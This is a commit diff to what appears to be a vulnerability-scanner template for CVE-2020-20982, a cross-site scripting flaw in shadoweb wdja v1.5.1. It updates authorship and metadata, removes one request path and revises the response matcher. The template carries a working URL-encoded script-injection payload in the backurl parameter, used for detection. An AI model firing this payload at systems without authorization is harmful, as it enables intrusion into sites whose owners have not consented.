Update CVE-2020-20982.yaml

cves/2020/CVE-2020-20982.yaml

@@ -2,12 +2,14 @@ id: CVE-2020-20982
 
 info:
   name: shadoweb wdja v1.5.1 - Cross-Site Scripting
-  author: pikpikcu
+  author: pikpikcu,ritikchaddha
   severity: critical
   description: shadoweb wdja v1.5.1 is susceptible to cross-site scripting because it allows attackers to execute arbitrary code and gain escalated privileges via the backurl parameter to /php/passport/index.php.
   reference:
     - https://github.com/shadoweb/wdja/issues/1
     - https://nvd.nist.gov/vuln/detail/CVE-2020-20982
+  metadata:
+    verified: true
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
     cvss-score: 9.6
@@ -18,7 +20,6 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/php/passport/index.php?action=manage&mtype=userset&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
       - "{{BaseURL}}/passport/index.php?action=manage&mtype=userset&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
 
     stop-at-first-match: true
@@ -27,7 +28,7 @@ requests:
       - type: word
         condition: and
         words:
-          - '</script><script>alert(document.domain)</script>'
+          - "location.href='</script><script>alert(document.domain)</script>"
 
       - type: word
         part: header